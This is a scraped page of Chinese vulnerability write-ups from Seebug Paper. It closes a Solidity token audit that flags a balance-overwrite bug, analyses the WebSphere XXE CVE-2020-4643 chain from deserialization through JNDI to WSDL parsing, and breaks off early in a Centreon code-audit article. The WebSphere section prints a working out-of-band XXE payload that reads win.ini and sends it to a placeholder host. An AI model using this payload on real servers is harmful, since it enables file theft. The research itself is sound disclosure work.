require(_to != address(0), "15"); uint256 _balancesFromNew = _balancesFrom.sub(_value, "16"); balances[_from] = _balancesFromNew; uint256 _balancesToNew = _balancesTo.add(_value); balances[_to] = _balancesToNew;//knownsec// 变量覆盖,当_from与_to相同时
1
2
3
4
5
6
7
8
9
10
uint256 _balancesFrom = balances [ _from ] ;
uint256 _balancesTo = balances [ _to ] ;
require ( _to != address ( 0 ) , "15" ) ;
uint256 _balancesFromNew = _balancesFrom . sub ( _value , "16" ) ;
balances [ _from ] = _balancesFromNew ;
uint256 _balancesToNew = _balancesTo . add ( _value ) ;
balances [ _to ] = _balancesToNew ; //knownsec// 变量覆盖,当_from与_to相同时
function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; contract Test { using SafeMath for uint256; uint256 internal _totalSupply; mapping(address => mapping (address => uint256)) public allowed; mapping(address => uint256) internal balances; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 amount); constructor() public { _totalSupply = 1 * 10 ** 18; balances[msg.sender] = _totalSupply; function totalSupply() external view returns (uint256) { return _totalSupply; function balanceOf(address account) external view returns (uint256) { return balances[account]; function approve(address spender, uint256 amount) external returns (bool) { require(spender != address(0)); allowed[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); function transferFrom( address _from, address _to, uint256 _value) external returns (bool) return _internalTransferFrom( _from, _value, allowed[_from][msg.sender] /*ProtocolLike(bZxContract).isLoanPool(msg.sender) ? uint256(-1) : allowed[_from][msg.sender]*/ function _internalTransferFrom( address _from, address _to, uint256 _value, uint256 _allowanceAmount) internal returns (bool) if (_allowanceAmount != uint256(-1)) { allowed[_from][msg.sender] = _allowanceAmount.sub(_value, "14"); uint256 _balancesFrom = balances[_from]; uint256 _balancesTo = balances[_to]; require(_to != address(0), "15"); uint256 _balancesFromNew = _balancesFrom .sub(_value, "16"); balances[_from] = _balancesFromNew; uint256 _balancesToNew = _balancesTo .add(_value); balances[_to] = _balancesToNew;//knownsec// 变量覆盖,当_from与_to一致时 // handle checkpoint update // uint256 _currentPrice = tokenPrice(); // _updateCheckpoints( // _from, // _balancesFrom, // _balancesFromNew, // _currentPrice // ); // _updateCheckpoints( // _to, // _balancesTo, // _balancesToNew, // _currentPrice // ); emit Transfer(_from, _to, _value); return true;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
pragma solidity ^ 0.5.0 ;
library SafeMath {
function add ( uint256 a , uint256 b ) internal pure returns ( uint256 ) {
uint256 c = a + b ;
require ( c >= a , "SafeMath: addition overflow" ) ;
return c ;
}
function sub ( uint256 a , uint256 b ) internal pure returns ( uint256 ) {
return sub ( a , b , "SafeMath: subtraction overflow" ) ;
}
function sub ( uint256 a , uint256 b , string memory errorMessage ) internal pure returns ( uint256 ) {
require ( b & lt ; = a , errorMessage ) ;
uint256 c = a - b ;
return c ;
}
function mul ( uint256 a , uint256 b ) internal pure returns ( uint256 ) {
if ( a == 0 ) {
return 0 ;
}
uint256 c = a * b ;
require ( c / a == b , "SafeMath: multiplication overflow" ) ;
return c ;
}
function div ( uint256 a , uint256 b ) internal pure returns ( uint256 ) {
return div ( a , b , "SafeMath: division by zero" ) ;
}
function div ( uint256 a , uint256 b , string memory errorMessage ) internal pure returns ( uint256 ) {
require ( b > 0 , errorMessage ) ;
uint256 c = a / b ;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c ;
}
function mod ( uint256 a , uint256 b ) internal pure returns ( uint256 ) {
return mod ( a , b , "SafeMath: modulo by zero" ) ;
}
function mod ( uint256 a , uint256 b , string memory errorMessage ) internal pure returns ( uint256 ) {
require ( b != 0 , errorMessage ) ;
return a % b ;
}
}
contract Test {
using SafeMath for uint256 ;
uint256 internal _totalSupply ;
mapping ( address = > mapping ( address = > uint256 ) ) public allowed ;
mapping ( address = > uint256 ) internal balances ;
event Transfer ( address indexed from , address indexed to , uint256 value ) ;
event Approval ( address indexed owner , address indexed spender , uint256 amount ) ;
constructor ( ) public {
_totalSupply = 1 * 10 * * 18 ;
balances [ msg . sender ] = _totalSupply ;
}
function totalSupply ( ) external view returns ( uint256 ) {
return _totalSupply ;
}
function balanceOf ( address account ) external view returns ( uint256 ) {
return balances [ account ] ;
}
function approve ( address spender , uint256 amount ) external returns ( bool ) {
require ( spender != address ( 0 ) ) ;
allowed [ msg . sender ] [ spender ] = amount ;
emit Approval ( msg . sender , spender , amount ) ;
}
function transferFrom (
address _from ,
address _to ,
uint256 _value )
external
returns ( bool )
{
return _internalTransferFrom (
_from ,
_to ,
_value ,
allowed [ _from ] [ msg . sender ]
/*ProtocolLike(bZxContract).isLoanPool(msg.sender) ?
uint256(-1) :
allowed[_from][msg.sender]*/
) ;
}
function _internalTransferFrom (
address _from ,
address _to ,
uint256 _value ,
uint256 _allowanceAmount )
internal
returns ( bool )
{
if ( _allowanceAmount != uint256 ( - 1 ) ) {
allowed [ _from ] [ msg . sender ] = _allowanceAmount . sub ( _value , "14" ) ;
}
uint256 _balancesFrom = balances [ _from ] ;
uint256 _balancesTo = balances [ _to ] ;
require ( _to != address ( 0 ) , "15" ) ;
uint256 _balancesFromNew = _balancesFrom
. sub ( _value , "16" ) ;
balances [ _from ] = _balancesFromNew ;
uint256 _balancesToNew = _balancesTo
. add ( _value ) ;
balances [ _to ] = _balancesToNew ; //knownsec// 变量覆盖,当_from与_to一致时
// handle checkpoint update
// uint256 _currentPrice = tokenPrice();
// _updateCheckpoints(
//     _from,
//     _balancesFrom,
//     _balancesFromNew,
//     _currentPrice
// );
// _updateCheckpoints(
//     _to,
//     _balancesTo,
//     _balancesToNew,
//     _currentPrice
// );
emit Transfer ( _from , _to , _value ) ;
return true ;
}
}

本文由 Seebug Paper 发布,如需转载请注明来源。本文地址: https://paper.seebug.org/1334/

作者:江 | Categories: 安全研究 漏洞分析 | Tags:

WebSphere XXE 漏洞分析(CVE-2020-4643)

2020-11-03

作者:Longofo@知道创宇404实验室 & r00t4dm@奇安信A-TEAM
时间:2020年9月21日

2020年9月17日,IBM发布了一个WebSphere XXE 漏洞公告 。 当时看到这个消息心想我们挖的那个XXE很可能与这个重了。然后看了下补丁,果不其然,当时心里就很遗憾,本来是打算一起找到一个RCE漏洞在一起提交XXE漏洞的,因为害怕提交了XXE官方把反序列化入口也封了,例如CVE-2020-4450,直接封掉了反序列化入口。奈何WebSphere找了一两周也没什么发现,后来正打算把XXE提交了,就看到官方发布了公告,看了下作者,是绿盟的一位大佬,也是CVE-2020-4450的发现者之一,这些默默挖洞的大佬,只可远观眺望啊。WebSphere的分析似乎挺少,聊聊几篇分析,不像Weblogic那样量产漏洞,单是一个高版本sdk就拦截了很多链或者说连接可用链的点,心想与其烂在手里,还不如分享出来,下面写下我们发现过程,其实重要的不是这个XXE,而是到达XXE这个点的前半部分。

先来看看补丁,只能看出是修复了一个XXE,不知道是哪儿的XXE:

最开始研究WebSphere就是前不久的CVE-2020-4450,这个漏洞外面已经有分析了。为了更熟悉一点WebSphere,我们也去研究了历史补丁,例如印象比较深的就是前不久的CVE-2020-4276,这个漏洞算是历史漏洞CVE-2015-7450的认证方式绕过,RCE的过程与CVE-2015-7450没区别。后面意外的找到另一个反序列化入口,在确认了已经无法在历史漏洞上做文章的时,只好从readObject、readExternal、toString、compare等函数去尝试找下了,后来在一个readObject找到一个能JNDI注入的地方,但是由于sdk高版本的原因,能利用的方式就只能是本地factory或利用jndi本地反序列化了,但是WebSphere公开的利用链都被堵上了,本地反序列化其实没什么作用在这里,所以只剩下看本地Factory了。反序列化入口暂时先不给出,可能这样的反序列化入口还有很多,我们碰巧遇到了其中一个,如果后面有幸找到了RCE漏洞,就把我们找到的入口写出来,下面从那个readObject中的JNDI开始吧。

com.ibm.ws.ejb.portable.EJBMetaDataImpl#readObject 中:

private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException { try { in.defaultReadObject(); this.ivStatelessSession = in.readBoolean(); ClassLoader loader = (ClassLoader)AccessController.doPrivileged(new PrivilegedAction() { public Object run() { return Thread.currentThread().getContextClassLoader(); this.ivBeanClassName = in.readUTF(); this.ivHomeClass = loader.loadClass(in.readUTF()); this.ivRemoteClass = loader.loadClass(in.readUTF()); if (!this.ivSession) { this.ivPKClass = loader.loadClass(in.readUTF()); this.ivHomeHandle = (HomeHandle)in.readObject(); EJBHome ejbHomeStub = this.ivHomeHandle.getEJBHome();//ivHomeHandle是一个接口,我们找到了HomeHandleImpl,里面进行了JNDI查询,并且url可控 this.ivEjbHome = (EJBHome)PortableRemoteObject.narrow(ejbHomeStub, this.ivHomeClass);//如果跟踪过CVE-2020-4450就能感觉到,这里十分类似CVE-2020-4450,不过缺少了后续的调用,无法像CVE-2020-4450利用WSIF的方式触发后续的RCE,WSIF之前那个XXE也被修复了 } catch (IOException var6) { throw var6; } catch (ClassNotFoundException var7) { throw var7;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
private void readObject ( ObjectInputStream in ) throws IOException , ClassNotFoundException {
try {
in . defaultReadObject ( ) ;
. . .
. . .
this . ivStatelessSession = in . readBoolean ( ) ;
ClassLoader loader = ( ClassLoader ) AccessController . doPrivileged ( new PrivilegedAction ( ) {
public Object run ( ) {
return Thread . currentThread ( ) . getContextClassLoader ( ) ;
}
} ) ;
this . ivBeanClassName = in . readUTF ( ) ;
this . ivHomeClass = loader . loadClass ( in . readUTF ( ) ) ;
this . ivRemoteClass = loader . loadClass ( in . readUTF ( ) ) ;
if ( ! this . ivSession ) {
this . ivPKClass = loader . loadClass ( in . readUTF ( ) ) ;
}
this . ivHomeHandle = ( HomeHandle ) in . readObject ( ) ;
EJBHome ejbHomeStub = this . ivHomeHandle . getEJBHome ( ) ; //ivHomeHandle是一个接口,我们找到了HomeHandleImpl,里面进行了JNDI查询,并且url可控
this . ivEjbHome = ( EJBHome ) PortableRemoteObject . narrow ( ejbHomeStub , this . ivHomeClass ) ; //如果跟踪过CVE-2020-4450就能感觉到,这里十分类似CVE-2020-4450,不过缺少了后续的调用,无法像CVE-2020-4450利用WSIF的方式触发后续的RCE,WSIF之前那个XXE也被修复了
} catch ( IOException var6 ) {
throw var6 ;
} catch ( ClassNotFoundException var7 ) {
throw var7 ;
}
}
public EJBHome getEJBHome() throws RemoteException { if (this.ivEjbHome == null) { NoSuchObjectException re; InitialContext ctx; try { if (this.ivInitialContextProperties == null) { ctx = new InitialContext(); } else { try { ctx = new InitialContext(this.ivInitialContextProperties); } catch (NamingException var5) { ctx = new InitialContext(); this.ivEjbHome = (EJBHome)PortableRemoteObject.narrow(ctx.lookup(this.ivJndiName), homeClass);//进行了JNDI查询,ivJndiName是属性,很容易控制 } catch (NoInitialContextException var6) { Properties p = new Properties(); p.put("java.naming.factory.initial", "com.ibm.websphere.naming.WsnInitialContextFactory"); ctx = new InitialContext(p); this.ivEjbHome = (EJBHome)PortableRemoteObject.narrow(ctx.lookup(this.ivJndiName), homeClass); return this.ivEjbHome;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
public EJBHome getEJBHome ( ) throws RemoteException {
if ( this . ivEjbHome == null ) {
NoSuchObjectException re ;
. . .
. . .
InitialContext ctx ;
try {
if ( this . ivInitialContextProperties == null ) {
ctx = new InitialContext ( ) ;
} else {
try {
ctx = new InitialContext ( this . ivInitialContextProperties ) ;
} catch ( NamingException var5 ) {
ctx = new InitialContext ( ) ;
}
}
this . ivEjbHome = ( EJBHome ) PortableRemoteObject . narrow ( ctx . lookup ( this . ivJndiName ) , homeClass ) ; //进行了JNDI查询,ivJndiName是属性,很容易控制
} catch ( NoInitialContextException var6 ) {
Properties p = new Properties ( ) ;
p . put ( "java.naming.factory.initial" , "com.ibm.websphere.naming.WsnInitialContextFactory" ) ;
ctx = new InitialContext ( p ) ;
this . ivEjbHome = ( EJBHome ) PortableRemoteObject . narrow ( ctx . lookup ( this . ivJndiName ) , homeClass ) ;
}
. . .
. . .
return this . ivEjbHome ;
}
public Object getObjectInstance(Object refObject, Name name, Context nameCtx, Hashtable environment) throws Exception { Object instance = null; if (refObject instanceof Reference) { Reference ref = (Reference)refObject; RefAddr addr = ref.get("service classname"); Object obj = null; if (addr != null && (obj = addr.getContent()) instanceof String) { instance = ClassUtils.forName((String)obj).newInstance(); } else { addr = ref.get("WSDL location"); if (addr != null && (obj = addr.getContent()) instanceof String) { URL wsdlLocation = new URL((String)obj); addr = ref.get("service namespace"); if (addr != null && (obj = addr.getContent()) instanceof String) { String namespace = (String)obj; addr = ref.get("service local part"); if (addr != null && (obj = addr.getContent()) instanceof String) { String localPart = (String)obj; QName serviceName = QNameTable.createQName(namespace, localPart); Class[] formalArgs = new Class[]{URL.class, QName.class}; Object[] actualArgs = new Object[]{wsdlLocation, serviceName}; Constructor ctor = Service.class.getDeclaredConstructor(formalArgs); instance = ctor.newInstance(actualArgs);//调用了Service构造函数 addr = ref.get("maintain session"); if (addr != null && instance instanceof Service) { ((Service)instance).setMaintainSession(true); return instance;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
public Object getObjectInstance ( Object refObject , Name name , Context nameCtx , Hashtable environment ) throws Exception {
Object instance = null ;
if ( refObject instanceof Reference ) {
Reference ref = ( Reference ) refObject ;
RefAddr addr = ref . get ( "service classname" ) ;
Object obj = null ;
if ( addr != null & amp ; & amp ; ( obj = addr . getContent ( ) ) instanceof String ) {
instance = ClassUtils . forName ( ( String ) obj ) . newInstance ( ) ;
} else {
addr = ref . get ( "WSDL location" ) ;
if ( addr != null & amp ; & amp ; ( obj = addr . getContent ( ) ) instanceof String ) {
URL wsdlLocation = new URL ( ( String ) obj ) ;
addr = ref . get ( "service namespace" ) ;
if ( addr != null & amp ; & amp ; ( obj = addr . getContent ( ) ) instanceof String ) {
String namespace = ( String ) obj ;
addr = ref . get ( "service local part" ) ;
if ( addr != null & amp ; & amp ; ( obj = addr . getContent ( ) ) instanceof String ) {
String localPart = ( String ) obj ;
QName serviceName = QNameTable . createQName ( namespace , localPart ) ;
Class [ ] formalArgs = new Class [ ] { URL . class , QName . class } ;
Object [ ] actualArgs = new Object [ ] { wsdlLocation , serviceName } ;
Constructor ctor = Service . class . getDeclaredConstructor ( formalArgs ) ;
instance = ctor . newInstance ( actualArgs ) ; //调用了Service构造函数
}
}
}
}
addr = ref . get ( "maintain session" ) ;
if ( addr != null & amp ; & amp ; instance instanceof Service ) {
( ( Service ) instance ) . setMaintainSession ( true ) ;
}
}
return instance ;
}
public Service(URL wsdlLocation, QName serviceName) throws ServiceException { if (log.isDebugEnabled()) { log.debug("Entry Service(URL, QName) " + serviceName.toString()); this.serviceName = serviceName; this.wsdlLocation = wsdlLocation; Definition def = cachingWSDL ? (Definition)cachedWSDL.get(wsdlLocation.toString()) : null; if (def == null) { Document doc = null; try { doc = XMLUtils.newDocument(wsdlLocation.toString());//wsdlLocation外部可控,这里XMLUtils.newDocument进去就请求了wsdlLocation获取xml文件并解析 } catch (Exception var8) { FFDCFilter.processException(var8, "com.ibm.ws.webservices.engine.client.Service.initService", "199", this); throw new ServiceException(Messages.getMessage("wsdlError00", "", "\n" + var8)); try { WSDLFactory factory = new WSDLFactoryImpl(); WSDLReader reader = factory.newWSDLReader(); reader.setFeature("javax.wsdl.verbose", false); def = reader.readWSDL(wsdlLocation.toString(), doc);//一开始我们只停留在了上面那个XMLUtils.newDocument,利用那儿的异常带不出去数据,由于是高版本sdk,外带也只能带一行数据。后来看到reader.readWSDL进去还能利用另一种方式外带全部数据 if (cachingWSDL) { cachedWSDL.put(wsdlLocation.toString(), def); } catch (Exception var7) { FFDCFilter.processException(var7, "com.ibm.ws.webservices.engine.client.Service.initService", "293", this); throw new ServiceException(Messages.getMessage("wsdlError00", "", "\n" + var7)); this.initService(def); if (log.isDebugEnabled()) { log.debug("Exit Service(URL, QName) ");
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
public Service ( URL wsdlLocation , QName serviceName ) throws ServiceException {
if ( log . isDebugEnabled ( ) ) {
log . debug ( "Entry Service(URL, QName)  " + serviceName . toString ( ) ) ;
}
this . serviceName = serviceName ;
this . wsdlLocation = wsdlLocation ;
Definition def = cachingWSDL ? ( Definition ) cachedWSDL . get ( wsdlLocation . toString ( ) ) : null ;
if ( def == null ) {
Document doc = null ;
try {
doc = XMLUtils . newDocument ( wsdlLocation . toString ( ) ) ; //wsdlLocation外部可控,这里XMLUtils.newDocument进去就请求了wsdlLocation获取xml文件并解析
} catch ( Exception var8 ) {
FFDCFilter . processException ( var8 , "com.ibm.ws.webservices.engine.client.Service.initService" , "199" , this ) ;
throw new ServiceException ( Messages . getMessage ( "wsdlError00" , "" , "\n" + var8 ) ) ;
}
try {
WSDLFactory factory = new WSDLFactoryImpl ( ) ;
WSDLReader reader = factory . newWSDLReader ( ) ;
reader . setFeature ( "javax.wsdl.verbose" , false ) ;
def = reader . readWSDL ( wsdlLocation . toString ( ) , doc ) ; //一开始我们只停留在了上面那个XMLUtils.newDocument,利用那儿的异常带不出去数据,由于是高版本sdk,外带也只能带一行数据。后来看到reader.readWSDL进去还能利用另一种方式外带全部数据
if ( cachingWSDL ) {
cachedWSDL . put ( wsdlLocation . toString ( ) , def ) ;
}
} catch ( Exception var7 ) {
FFDCFilter . processException ( var7 , "com.ibm.ws.webservices.engine.client.Service.initService" , "293" , this ) ;
throw new ServiceException ( Messages . getMessage ( "wsdlError00" , "" , "\n" + var7 ) ) ;
}
}
this . initService ( def ) ;
if ( log . isDebugEnabled ( ) ) {
log . debug ( "Exit Service(URL, QName)  " ) ;
}
}
protected Definition parseDefinitions(String documentBaseURI, Element defEl, Map importedDefs) throws WSDLException { checkElementName(defEl, Constants.Q_ELEM_DEFINITIONS); WSDLFactory factory = this.getWSDLFactory(); Definition def = factory.newDefinition(); if (this.extReg != null) { def.setExtensionRegistry(this.extReg); String name = DOMUtils.getAttribute(defEl, "name"); String targetNamespace = DOMUtils.getAttribute(defEl, "targetNamespace"); NamedNodeMap attrs = defEl.getAttributes(); if (importedDefs == null) { importedDefs = new Hashtable(); if (documentBaseURI != null) { def.setDocumentBaseURI(documentBaseURI); ((Map)importedDefs).put(documentBaseURI, def); if (name != null) { def.setQName(new QName(targetNamespace, name)); if (targetNamespace != null) { def.setTargetNamespace(targetNamespace); int size = attrs.getLength(); for(int i = 0; i < size; ++i) { Attr attr = (Attr)attrs.item(i); String namespaceURI = attr.getNamespaceURI(); String localPart = attr.getLocalName(); String value = attr.getValue(); if (namespaceURI != null && namespaceURI.equals("http://www.w3.org/2000/xmlns/")) { if (localPart != null && !localPart.equals("xmlns")) { def.addNamespace(localPart, value); } else { def.addNamespace((String)null, value); for(Element tempEl = DOMUtils.getFirstChildElement(defEl); tempEl != null; tempEl = DOMUtils.getNextSiblingElement(tempEl)) { if (QNameUtils.matches(Constants.Q_ELEM_IMPORT, tempEl)) { def.addImport(this.parseImport(tempEl, def, (Map)importedDefs)); } else if (QNameUtils.matches(Constants.Q_ELEM_DOCUMENTATION, tempEl)) { def.setDocumentationElement(tempEl); } else if (QNameUtils.matches(Constants.Q_ELEM_TYPES, tempEl)) { def.setTypes(this.parseTypes(tempEl, def)); } else if (QNameUtils.matches(Constants.Q_ELEM_MESSAGE, tempEl)) { def.addMessage(this.parseMessage(tempEl, def)); } else if (QNameUtils.matches(Constants.Q_ELEM_PORT_TYPE, tempEl)) { def.addPortType(this.parsePortType(tempEl, def)); } else if (QNameUtils.matches(Constants.Q_ELEM_BINDING, tempEl)) { def.addBinding(this.parseBinding(tempEl, def)); } else if (QNameUtils.matches(Constants.Q_ELEM_SERVICE, tempEl)) { def.addService(this.parseService(tempEl, def)); } else { def.addExtensibilityElement(this.parseExtensibilityElement(Definition.class, tempEl, def)); this.parseExtensibilityAttributes(defEl, Definition.class, def, def); return def;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
protected Definition parseDefinitions ( String documentBaseURI , Element defEl , Map importedDefs ) throws WSDLException {
checkElementName ( defEl , Constants . Q_ELEM_DEFINITIONS ) ;
WSDLFactory factory = this . getWSDLFactory ( ) ;
Definition def = factory . newDefinition ( ) ;
if ( this . extReg != null ) {
def . setExtensionRegistry ( this . extReg ) ;
}
String name = DOMUtils . getAttribute ( defEl , "name" ) ;
String targetNamespace = DOMUtils . getAttribute ( defEl , "targetNamespace" ) ;
NamedNodeMap attrs = defEl . getAttributes ( ) ;
if ( importedDefs == null ) {
importedDefs = new Hashtable ( ) ;
}
if ( documentBaseURI != null ) {
def . setDocumentBaseURI ( documentBaseURI ) ;
( ( Map ) importedDefs ) . put ( documentBaseURI , def ) ;
}
if ( name != null ) {
def . setQName ( new QName ( targetNamespace , name ) ) ;
}
if ( targetNamespace != null ) {
def . setTargetNamespace ( targetNamespace ) ;
}
int size = attrs . getLength ( ) ;
for ( int i = 0 ; i & lt ; size ; ++ i ) {
Attr attr = ( Attr ) attrs . item ( i ) ;
String namespaceURI = attr . getNamespaceURI ( ) ;
String localPart = attr . getLocalName ( ) ;
String value = attr . getValue ( ) ;
if ( namespaceURI != null & amp ; & amp ; namespaceURI . equals ( "http://www.w3.org/2000/xmlns/" ) ) {
if ( localPart != null & amp ; & amp ; ! localPart . equals ( "xmlns" ) ) {
def . addNamespace ( localPart , value ) ;
} else {
def . addNamespace ( ( String ) null , value ) ;
}
}
}
for ( Element tempEl = DOMUtils . getFirstChildElement ( defEl ) ; tempEl != null ; tempEl = DOMUtils . getNextSiblingElement ( tempEl ) ) {
if ( QNameUtils . matches ( Constants . Q_ELEM_IMPORT , tempEl ) ) {
def . addImport ( this . parseImport ( tempEl , def , ( Map ) importedDefs ) ) ;
} else if ( QNameUtils . matches ( Constants . Q_ELEM_DOCUMENTATION , tempEl ) ) {
def . setDocumentationElement ( tempEl ) ;
} else if ( QNameUtils . matches ( Constants . Q_ELEM_TYPES , tempEl ) ) {
def . setTypes ( this . parseTypes ( tempEl , def ) ) ;
} else if ( QNameUtils . matches ( Constants . Q_ELEM_MESSAGE , tempEl ) ) {
def . addMessage ( this . parseMessage ( tempEl , def ) ) ;
} else if ( QNameUtils . matches ( Constants . Q_ELEM_PORT_TYPE , tempEl ) ) {
def . addPortType ( this . parsePortType ( tempEl , def ) ) ;
} else if ( QNameUtils . matches ( Constants . Q_ELEM_BINDING , tempEl ) ) {
def . addBinding ( this . parseBinding ( tempEl , def ) ) ;
} else if ( QNameUtils . matches ( Constants . Q_ELEM_SERVICE , tempEl ) ) {
def . addService ( this . parseService ( tempEl , def ) ) ;
} else {
def . addExtensibilityElement ( this . parseExtensibilityElement ( Definition . class , tempEl , def ) ) ;
}
}
this . parseExtensibilityAttributes ( defEl , Definition . class , def , def ) ;
return def ;
}
protected Import parseImport(Element importEl, Definition def, Map importedDefs) throws WSDLException { Import importDef = def.createImport(); String locationURI; try { String namespaceURI = DOMUtils.getAttribute(importEl, "namespace"); locationURI = DOMUtils.getAttribute(importEl, "location");//获取location属性 String contextURI = null; if (namespaceURI != null) { importDef.setNamespaceURI(namespaceURI); if (locationURI != null) { importDef.setLocationURI(locationURI); if (this.importDocuments) { try { contextURI = def.getDocumentBaseURI(); Definition importedDef = null; InputStream inputStream = null; InputSource inputSource = null; URL url = null; if (this.loc != null) { inputSource = this.loc.getImportInputSource(contextURI, locationURI); String liu = this.loc.getLatestImportURI(); importedDef = (Definition)importedDefs.get(liu); if (inputSource.getSystemId() == null) { inputSource.setSystemId(liu); } else { URL contextURL = contextURI != null ? StringUtils.getURL((URL)null, contextURI) : null; url = StringUtils.getURL(contextURL, locationURI); importedDef = (Definition)importedDefs.get(url.toString()); if (importedDef == null) { inputStream = StringUtils.getContentAsInputStream(url);//进行了请求,可以通过这个请求将数据外带,但是还是有些限制,例如有&或"等字符的文件会报错导致带不了
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
protected Import parseImport ( Element importEl , Definition def , Map importedDefs ) throws WSDLException {
Import importDef = def . createImport ( ) ;
String locationURI ;
try {
String namespaceURI = DOMUtils . getAttribute ( importEl , "namespace" ) ;
locationURI = DOMUtils . getAttribute ( importEl , "location" ) ; //获取location属性
String contextURI = null ;
if ( namespaceURI != null ) {
importDef . setNamespaceURI ( namespaceURI ) ;
}
if ( locationURI != null ) {
importDef . setLocationURI ( locationURI ) ;
if ( this . importDocuments ) {
try {
contextURI = def . getDocumentBaseURI ( ) ;
Definition importedDef = null ;
InputStream inputStream = null ;
InputSource inputSource = null ;
URL url = null ;
if ( this . loc != null ) {
inputSource = this . loc . getImportInputSource ( contextURI , locationURI ) ;
String liu = this . loc . getLatestImportURI ( ) ;
importedDef = ( Definition ) importedDefs . get ( liu ) ;
if ( inputSource . getSystemId ( ) == null ) {
inputSource . setSystemId ( liu ) ;
}
} else {
URL contextURL = contextURI != null ? StringUtils . getURL ( ( URL ) null , contextURI ) : null ;
url = StringUtils . getURL ( contextURL , locationURI ) ;
importedDef = ( Definition ) importedDefs . get ( url . toString ( ) ) ;
if ( importedDef == null ) {
inputStream = StringUtils . getContentAsInputStream ( url ) ; //进行了请求,可以通过这个请求将数据外带,但是还是有些限制,例如有&或"等字符的文件会报错导致带不了
. . .
. . .
<!DOCTYPE x [ <!ENTITY % aaa SYSTEM "file:///C:/Windows/win.ini"> <!ENTITY % bbb SYSTEM "http://yourip:8000/xx.dtd"> %bbb; <definitions name="HelloService" xmlns="http://schemas.xmlsoap.org/wsdl/"> </definitions> xx.dtd如下: <!ENTITY % ccc '<!ENTITY ddd '<import namespace="uri" location="http://yourip:8000/xxeLog?%aaa;"/>'>'>%ccc;
1
2
3
4
5
6
7
8
9
10
11
12
xml 如下:
& lt ; ! DOCTYPE x [
& lt ; ! ENTITY % aaa SYSTEM "file:///C:/Windows/win.ini" >
& lt ; ! ENTITY % bbb SYSTEM "http://yourip:8000/xx.dtd" >
% bbb ;
] >
& lt ; definitions name = "HelloService" xmlns = "http://schemas.xmlsoap.org/wsdl/" >
& ddd ;
& lt ; / definitions >
xx . dtd 如下:
& lt ; ! ENTITY % ccc '<!ENTITY ddd '<import namespace="uri" location="http://yourip:8000/xxeLog?%aaa;"/>'>' > % ccc ;

本文由 Seebug Paper 发布,如需转载请注明来源。本文地址: https://paper.seebug.org/1342/

作者:江 | Categories: 漏洞分析 | Tags:

代码审计从0到1 —— Centreon One-click To RCE

2020-11-03

作者:huha@知道创宇404实验室
时间:2020年8月26日

代码审计的思路往往是多种多样的,可以通过历史漏洞获取思路、黑盒审计快速确定可疑点,本文则侧重于白盒审计思路,对Centreon V20.04[ 1 ]的审计过程进行一次复盘记录,文中提及的漏洞均已提交官方并修复。

Centreon(Merethis Centreon)是法国Centreon公司的一套开源的系统监控工具 。该产品主要提供对网络、系统和应用程序等资源的监控功能。

网站基本结构

源代码目录组成

  • centreon/www/index.php 是网站的入口文件,会先进行登录认证,未登录的话跳转进入登录页,登录成功后进入后台
  • centreon/www/main.php centreon/www/main.get.php ,对应PC端与移动端的路由功能,根据不同的参数,可以加载到后台不同的功能页面,在实际调试的过程,发现使用main.php加载对应的功能页时,最终会调用main.get.php,所以路由部分直接看main.get.php即可
  • entreon/www/include/ 目录包含核心功能代码、公共类。其中有些功能代码可以直接通过路径访问,有些则需要通过main.get.php页面进行路由访问
  • centreon/www/api/ 目录下的index.php是另一处路由功能,可以实例化 centreon/www/api/class/*.class.php centreon/www/modules/ centreon/www/widgets/*/webServices/rest/*.class.php centreon/src/ 中的类并调用指定方法

在审计代码的时候,有两个要关注点:

  • 重点审查 centreon/www/include/ centreon/www/api/class /两个目录,因为这些目录下的功能点可以通过 centreon/www/main.php centreon/www/api/index.php 路由访问
  • 重点寻找绕过登录认证或者越权的方式,否则后台漏洞难以利用

如下简要分析 centreon/www/ 目录下的部分脚本

index.php

